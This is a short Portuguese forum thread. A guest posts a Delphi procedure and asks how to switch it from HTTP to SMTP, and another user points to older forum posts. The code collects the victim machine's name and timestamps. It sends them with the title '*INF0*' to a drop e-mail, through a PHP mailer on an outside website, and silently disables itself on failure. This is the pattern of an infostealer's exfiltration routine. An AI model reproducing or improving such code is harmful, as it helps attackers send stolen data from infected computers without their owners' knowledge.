Ajuda funçao de envio smtp

[Guest bylobonegro]

Procedure Tgbuster.Mandar;

var

lista : TStringList;

begin

Lista := TStringList.Create;

Lista.Clear;

Memo1.Lines.add('Computador ....: '+ Dkip.Gabinet +' '+ Dkip.Mass);

Memo1.Lines.add('Data ..........: '+ DateToStr(Now));

Memo1.Lines.add('Hora ..........: '+ TimeToStr(Time));

Lista.Add('praquem=' + 'blablabla@gmail.com'); { <== E-mail onde vai cair as Info ^^}

Lista.Add('titulo=' + Dkip.Gabinet +' '+'\o/ *INF0* \o/');

Lista.Add('texto=' + Memo1.Text);

try {Enviador de e-mail \o/}

HTTP.Post('http://www.iteducation.com.br/uploads/enviador.php', Lista);

Lista.Free;

except Dkip.Desabilitar;

end;

end;

SE PUDEREM AJUDAR EU QUERIA CONVERTE ESSA FUNCAO DE ENVIO HTTP PARA SMTP QUEM SOUBER FAZER PELO AMOR DE DEUS ME AJUDE....

[Jhonas]

Faça uma pesquisa no forum pois já temos varios posts respondidos com a sua duvida

http://scriptbrasil.com.br/forum/index.php...p;highlite=smtp

abraço